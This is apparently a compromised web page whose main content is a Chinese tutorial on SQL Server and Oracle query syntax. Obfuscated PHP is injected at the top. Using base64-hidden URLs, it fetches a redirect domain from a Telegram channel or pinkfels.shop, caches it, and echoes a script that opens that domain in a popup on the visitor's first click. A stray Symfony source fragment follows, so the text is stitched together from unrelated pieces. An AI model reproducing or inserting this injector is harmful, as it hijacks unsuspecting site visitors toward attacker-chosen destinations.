function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } 【SQL資料庫資訊查詢大全】SQL Server與Oracle語法與範例教學 - OOLIN

【SQL資料庫資訊查詢大全】SQL Server與Oracle語法與範例教學

資料庫

在資料庫管理與開發過程中,熟練掌握資料查詢語法是提升效率與解決問題的關鍵。SQL Server 與 Oracle 是目前兩大主流關聯式資料庫系統,其查詢語法雖遵循 SQL 標準,但部分細節仍存在差異。本文將針對常見查詢操作,說明 SQL Server 與 Oracle 的語法使用方式,以便開發者能靈活運用。


一、基礎資料查詢

1. 查詢全部欄位

  • SQL Server / Oracle 共通SELECT * FROM TableName;

2. 查詢指定欄位

  • SQL Server / Oracle 共通SELECT Column1, Column2 FROM TableName;

3. 查詢不重複資料

  • SQL Server / Oracle 共通SELECT DISTINCT ColumnName FROM TableName;

二、條件篩選

1. 使用 WHERE 子句

  • SQL Server / Oracle 共通SELECT * FROM TableName WHERE ColumnName = 'Value';

2. 比較運算符

運算符說明
=等於
<> 或 !=不等於
>大於
<小於
>=大於等於
<=小於等於

3. 邏輯運算符

運算符說明
AND並且
OR或者
NOT

4. 模糊查詢

  • SQL Server / Oracle 共通SELECT * FROM TableName WHERE ColumnName LIKE 'A%';
    • % 表示任意長度字串。
    • _ 表示單個字元。

三、排序與分頁

1. 資料排序

  • SQL Server / Oracle 共通SELECT * FROM TableName ORDER BY ColumnName [ASC|DESC];

2. 資料分頁

  • SQL ServerSELECT * FROM TableName ORDER BY ColumnName OFFSET 10 ROWS FETCH NEXT 10 ROWS ONLY;
  • Oracle(12c 以上版本)SELECT * FROM TableName ORDER BY ColumnName OFFSET 10 ROWS FETCH NEXT 10 ROWS ONLY;
  • Oracle(12c 以下版本)SELECT * FROM ( SELECT A.*, ROWNUM AS RN FROM TableName A WHERE ROWNUM <= 20 ) WHERE RN > 10;

四、聚合函數與分組

1. 常用聚合函數

函數說明
COUNT()計算筆數
SUM()求和
AVG()平均值
MAX()最大值
MIN()最小值

2. 使用 GROUP BY 分組

  • SQL Server / Oracle 共通SELECT Column1, COUNT(*) FROM TableName GROUP BY Column1;

3. 使用 HAVING 過濾分組結果

  • SQL Server / Oracle 共通SELECT Column1, COUNT(*) FROM TableName GROUP BY Column1 HAVING COUNT(*) > 1;

五、資料表連接

1. INNER JOIN

  • SQL Server / Oracle 共通SELECT A.Column1, B.Column2 FROM TableA A INNER JOIN TableB B ON A.KeyColumn = B.KeyColumn;

2. LEFT JOIN

  • SQL Server / Oracle 共通SELECT A.Column1, B.Column2 FROM TableA A LEFT JOIN TableB B ON A.KeyColumn = B.KeyColumn;

3. RIGHT JOIN

  • SQL Server / Oracle 共通SELECT A.Column1, B.Column2 FROM TableA A RIGHT JOIN TableB B ON A.KeyColumn = B.KeyColumn;

六、查詢最佳化建議

  1. 使用索引:
    • 確認查詢條件欄位有適當索引。
  2. 避免 SELECT *:
    • 僅選取需要的欄位。
  3. 使用 EXPLAIN 或執行計劃分析查詢性能。
  4. 避免在 WHERE 條件對欄位使用函數運算,影響索引使用。

透過掌握 SQL Server 與 Oracle 查詢語法的差異與最佳實踐,能有效提升資料庫操作效率,並為企業數據分析與應用開發奠定堅實基礎。

發佈留言